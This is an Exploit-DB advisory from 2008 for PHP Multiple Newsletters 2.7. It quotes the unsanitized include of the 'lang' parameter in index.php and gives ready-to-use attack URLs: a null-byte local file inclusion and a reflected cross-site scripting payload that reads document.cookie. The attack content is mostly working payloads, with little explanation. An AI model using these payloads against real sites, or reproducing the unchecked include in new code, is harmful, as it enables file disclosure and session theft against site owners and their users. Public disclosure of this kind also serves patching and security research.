PHP Multiple Newsletters 2.7 - LFI/XSS Multiple Vulnerabilities

2008-12-09T00:00:00
ID EDB-ID:7400
Type exploitdb
Reporter ahmadbady
Modified 2008-12-09T00:00:00

Description

PHP Multiple Newsletters 2.7 (LFI/XSS) Multiple Vulnerabilities. CVE-2008-5566,CVE-2008-5570. Webapps exploit for php platform

                                        
                                            ****(Lfi/xss)****

script: PHP_Multiple_Newsletters v2.7

***************************************************************************
download from:http://www.phpmultiplenewsletters.com/modules/phpmultiplenewsletters.com/dist/free/PHP_Multiple_Newsletters_v2.7.zip
   
***************************************************************************
vul:/index.php
line 36:
include ('language/'..$_REQUEST['lang'].'.php');
   
***************************************************
xpl:
www.site.com/path/index.php?lang=[Lfi]%00

xss:
www.site.com/path/index.php/>"><ScRiPt>alert(document.cookie)</ScRiPt>
...................................................
Author: ahmadbady from:iran

my mail: kivi_hacker666@yahoo.com

***************************************************

# milw0rm.com [2008-12-09]